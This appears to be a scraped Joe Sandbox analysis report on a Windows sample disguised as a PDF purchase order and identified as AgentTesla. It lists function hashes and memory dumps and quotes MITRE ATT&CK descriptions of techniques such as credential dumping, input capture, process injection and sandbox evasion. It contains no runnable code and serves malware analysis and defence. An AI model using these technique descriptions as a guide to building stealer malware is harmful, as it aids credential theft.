Opcode ID: 4f130428179ae0990be8622766817f49398154f4bb98c6298a66895262a32e11
Instruction ID: dec2e9ea6497fe7f3fe05815970bae65e0159b5e45b69fb6a24be6c606eeb584
Opcode Fuzzy Hash: 4f130428179ae0990be8622766817f49398154f4bb98c6298a66895262a32e11
Instruction Fuzzy Hash: EC21BD75F006259FDB50DFA9D981AAEBBF1FB48324F108129E905E7394E730D901CB95

Uniqueness

Uniqueness Score: -1.00%

Function 010DD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3230103437.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10dd000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce248c9b3e66aed2d1845ec234bf1e65e662352afecb81ef285e4d0a3cd698e6
Instruction ID: ded30d3b3c6b8c9dddd179cad1f0e0ab64286e97a9ef465a322d9756e44a69fc
Opcode Fuzzy Hash: ce248c9b3e66aed2d1845ec234bf1e65e662352afecb81ef285e4d0a3cd698e6
Instruction Fuzzy Hash: F0212271504304AFCB15CFA8C9C0B26BFA5FB84314F20C9ADE9890B292C73AD446CB62

Uniqueness

Uniqueness Score: -1.00%

Function 067E4328 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d7ecfe642e7e0b709a6403bdc425178650a5f92cc5d5c5a53fd49841b326e3
Instruction ID: 358afa352b8a8dab1dcbb511a6b9fe76f869b3dda35e4f2e5e32024b976d41d5
Opcode Fuzzy Hash: 99d7ecfe642e7e0b709a6403bdc425178650a5f92cc5d5c5a53fd49841b326e3
Instruction Fuzzy Hash: 65114531F002100FDBA1927D98147BEBBDADBCA610F10847EE00AD7788D964DC068392

Uniqueness

Uniqueness Score: -1.00%

Function 067E3CE8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45194a45ef2420a6e41b0103a22c1bdedad8a45f24fb990fd5704928cceb27a
Instruction ID: f7f392254db4c671ad3ac6f7630eec8e7ba8c6c6d232920cf78c08d8762687ee
Opcode Fuzzy Hash: c45194a45ef2420a6e41b0103a22c1bdedad8a45f24fb990fd5704928cceb27a
Instruction Fuzzy Hash: 7311ED36B001289FDB54D669D8146AE73EBEBCC325B10853AC40AEB344DE75DC068BD1

Uniqueness

Uniqueness Score: -1.00%

Function 067EA428 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd7d847fb391ad77203b8f16ce8ac64f1c61a2a5db17dfc95734d8993b35dbe
Instruction ID: 556e1657f268ce9ded90d2e9186cd07ad179df89c40aaf878b3eaaf3b09c0abd
Opcode Fuzzy Hash: cfd7d847fb391ad77203b8f16ce8ac64f1c61a2a5db17dfc95734d8993b35dbe
Instruction Fuzzy Hash: 4D019231F001104FCB619A7CA86867E77E5EBCB614F20882AE40ACB750DD15DC0B8781

Uniqueness

Uniqueness Score: -1.00%

Function 067EF2B9 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8008116fbb348cffb9e239b1ce5b4d973856d87383ad11c7843d4795409b2e84
Instruction ID: aa576bf265f44940388e8611d5e5544dc3a068888691f51e3f7069dde2c7e716
Opcode Fuzzy Hash: 8008116fbb348cffb9e239b1ce5b4d973856d87383ad11c7843d4795409b2e84
Instruction Fuzzy Hash: 4401F136B002500FCB22D67D941077EA7E6EBCA614F20C46AE40AC7740DA68EC0787D2

Uniqueness

Uniqueness Score: -1.00%

Function 067E3CD7 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: befcc14f140a9170cbb9a6141d865b259d05922373af3ba115fdf244c962abf4
Instruction ID: 32b6b10c6d0a42d927d4cb2b1302be56e56c14a19132182f6898be3cc232f387
Opcode Fuzzy Hash: befcc14f140a9170cbb9a6141d865b259d05922373af3ba115fdf244c962abf4
Instruction Fuzzy Hash: 4C01F536F141245BDF95D57AD8147FF7BABDBC8624F10813AD40AD7240EA61CC0A47D1

Uniqueness

Uniqueness Score: -1.00%

Function 067E39A0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e710bc8c8e6dc77021623830d1f464374f9245868a0a1772b6064e31be2c078e
Instruction ID: 9b2b9cfdb34d7c1ad64c6d71e739ac8a698099c310eae116b3092934f1275a67
Opcode Fuzzy Hash: e710bc8c8e6dc77021623830d1f464374f9245868a0a1772b6064e31be2c078e
Instruction Fuzzy Hash: 6E21C2B5D016599FCB10DF9AD884ADEFBB4FB48314F10812AE918B7600C378A954CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 010DD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3230103437.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10dd000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: bfbdfdb306864cecc88039109d88a435f8651418945b989acebd430e8afd8757
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: C811BB75504384DFDB12CF64C9C4B15BFA2FB84314F24CAA9E9894B292C33AD44ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 067E39A8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0cf73edcf252d5908602987d1f5cba64c901a448639b86c8001b3310c059ac8
Instruction ID: 13c08865711c357b8c563a9cd5426bc68d85a6153ba567b7504415bf3c03597d
Opcode Fuzzy Hash: a0cf73edcf252d5908602987d1f5cba64c901a448639b86c8001b3310c059ac8
Instruction Fuzzy Hash: A111B3B5D012599FCB00DF9AD884ADEFBB8FB49314F10812AE518A7240D3786554CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 067E4338 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c158cfd2cd5f1a9d8dfb1d515272c3b9556bac6a1aa5cf1b47e84fc8a3d00f
Instruction ID: 4f924bfd4988da073939b1ce340cfde96e80d129bdbcd0ea974ac3b88e4ca82a
Opcode Fuzzy Hash: 55c158cfd2cd5f1a9d8dfb1d515272c3b9556bac6a1aa5cf1b47e84fc8a3d00f
Instruction Fuzzy Hash: 87016D31B001111BDB64967EE41476FB6DBDBCA615F20843AE10AD7748E965DC0643D1

Uniqueness

Uniqueness Score: -1.00%

Function 067EF2C8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b45997081810952ba4237cd363a1de6834bb3dd8dcf8e30c40664ee01f5d9cf
Instruction ID: 0b7c00b301bcc3bbd4bf6751222dfdf1167bc0d27985046d94299d28c99121cc
Opcode Fuzzy Hash: 4b45997081810952ba4237cd363a1de6834bb3dd8dcf8e30c40664ee01f5d9cf
Instruction Fuzzy Hash: 55018C36B102111BCB65D67DE854B7FA6DAEBC9614F20C43AE10AC7740EE69DC074782

Uniqueness

Uniqueness Score: -1.00%

Function 067EA438 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c62426e2ab780947d7186166442ce402c81b23c7463e9aa569ea675c9e99956
Instruction ID: 6401f58ef1b95968c959cd5bc1063d74adbfef018b6e9bcee6c330eeb9db4ca7
Opcode Fuzzy Hash: 9c62426e2ab780947d7186166442ce402c81b23c7463e9aa569ea675c9e99956
Instruction Fuzzy Hash: 18018131B101144FCB61EA7DE85872E77D6EBCA714F208839E10ACB744EE25DC068791

Uniqueness

Uniqueness Score: -1.00%

Function 067E6591 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f7b91866f17c69e82be4f231068dc791144924aa17b9ae4332318a49fc0c2e1
Instruction ID: 8cdb89d32b853f944cd3c7fefca6dd965a9423b35c5e53bead549adc200de8ae
Opcode Fuzzy Hash: 9f7b91866f17c69e82be4f231068dc791144924aa17b9ae4332318a49fc0c2e1
Instruction Fuzzy Hash: D4F09271F242086FDFA0CE64C90577A7769AB5A304F1048A6D408DB247E236CA8A8751

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 067E77C8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$]q, xrefs: 067E7CAA
$]q, xrefs: 067E791E
$]q, xrefs: 067E7D53
$]q, xrefs: 067E7D49
$]q, xrefs: 067E7D5F
$]q, xrefs: 067E7C9E
$]q, xrefs: 067E78E1
$]q, xrefs: 067E7D3D
$]q, xrefs: 067E78ED
$]q, xrefs: 067E7912

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2843079600
Opcode ID: 395d7dc109813f5de5918ea4a0b1af929c21e032a2d6fc6214b0a382fce9b7b0
Instruction ID: b96f85beae749b09f5fd297fb591e7190a7080f84a3cbe87182d36eb903f395f
Opcode Fuzzy Hash: 395d7dc109813f5de5918ea4a0b1af929c21e032a2d6fc6214b0a382fce9b7b0
Instruction Fuzzy Hash: 08122F34E006198FDB68DF69C994AAEB7F6FF88304F208569D409AB364DB349D45CF81

Uniqueness

Uniqueness Score: -1.00%

Function 067EAA58 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$]q, xrefs: 067EAB5A
$]q, xrefs: 067EABA9
$]q, xrefs: 067EABD4
$]q, xrefs: 067EABB5
$]q, xrefs: 067EABE0
$]q, xrefs: 067EAC0A
$]q, xrefs: 067EAB4E
$]q, xrefs: 067EAC16

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 626f004f62f47a761a71b42fdbfc01275ce70295dc84c84de838f084d58185dd
Instruction ID: aed6ca18c37f5007eb8ade203144ffbe11773defe57b9c7f250041b509829442
Opcode Fuzzy Hash: 626f004f62f47a761a71b42fdbfc01275ce70295dc84c84de838f084d58185dd
Instruction Fuzzy Hash: EA916F34E00209DFDB68DB69D694B7EB7F6FF88305F208529D8419B298DB749C49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 067E71C8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$]q, xrefs: 067E76DC
$]q, xrefs: 067E76D0
.5uq, xrefs: 067E7223
$]q, xrefs: 067E7510
$]q, xrefs: 067E74AA
$]q, xrefs: 067E7504
$]q, xrefs: 067E7664

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: .5uq$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-981061697
Opcode ID: 07beafa0ccec0a0272c5648d33192e11a91fa72984cf0535a91ac92f8c411b94
Instruction ID: 896dbe88028d0f57d2147c90900b85eaea882d750e0f3d8e3eaea016118b82b8
Opcode Fuzzy Hash: 07beafa0ccec0a0272c5648d33192e11a91fa72984cf0535a91ac92f8c411b94
Instruction Fuzzy Hash: 95F14C30A00209CFDB58EFA9D654A6EB7B7FF88305F208529D8059B768DB35DC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 067E84F8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$]q, xrefs: 067E875E
$]q, xrefs: 067E87B7
$]q, xrefs: 067E8752
$]q, xrefs: 067E87C3

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 2d568f45b6ea7dfd18d45baf05d4ac329eaefe95e95590bbf22822096c1a77be
Instruction ID: 7e77d17c55bb0b8db363c73c345a0e5a3b7b672fb1a44ea364ada7f5bfa37b1d
Opcode Fuzzy Hash: 2d568f45b6ea7dfd18d45baf05d4ac329eaefe95e95590bbf22822096c1a77be
Instruction Fuzzy Hash: B0B14E30E10219CFDB58EFA9D5946AEB7B2FF88304F248929D4069B354DB75DC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 067E8910 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$]q, xrefs: 067E899B
LR]q, xrefs: 067E8A52
LR]q, xrefs: 067E8A03
$]q, xrefs: 067E898F

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: LR]q$LR]q$$]q$$]q
API String ID: 0-3527005858
Opcode ID: c79a53965d9686774d1dc12341b160ae39ff6c87c16b37803370827c47359c01
Instruction ID: c7cb4a22c00d640a8a705fdcee0a30d4e7d127a7ba974c611b7f2bb315158e9b
Opcode Fuzzy Hash: c79a53965d9686774d1dc12341b160ae39ff6c87c16b37803370827c47359c01
Instruction Fuzzy Hash: 31519430B002019FDB58DF69D950A6EB7E6FF89704F148569D4069F3A5DB30EC45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 067EADE0 Relevance: 5.2, Strings: 4, Instructions: 167COMMON

Download Yara Rule

Strings

$]q, xrefs: 067EAF11
$]q, xrefs: 067EAF64
$]q, xrefs: 067EAF93
$]q, xrefs: 067EAFBC

Memory Dump Source

Source File: 00000003.00000002.3238684487.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_67e0000_New order -24900242 OP_pdf .jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: a3bcf2be2283d166f9da3c8f1380205dd6afac77cd10042c00605cdec5dbea09
Instruction ID: 82865bb69ca049641dd09077e04675e6c92f204e2911c9cb8a629d7dffbf2647
Opcode Fuzzy Hash: a3bcf2be2283d166f9da3c8f1380205dd6afac77cd10042c00605cdec5dbea09
Instruction Fuzzy Hash: 0E519230E102058FDF65DB68E680ABEB7B6EF88304F218569E805DB254DB35DC4ACF91

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report New order -24900242 OP_pdf .exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New order -24900242 OP_pdf .exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

Windows Analysis Report
New order -24900242 OP_pdf .exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

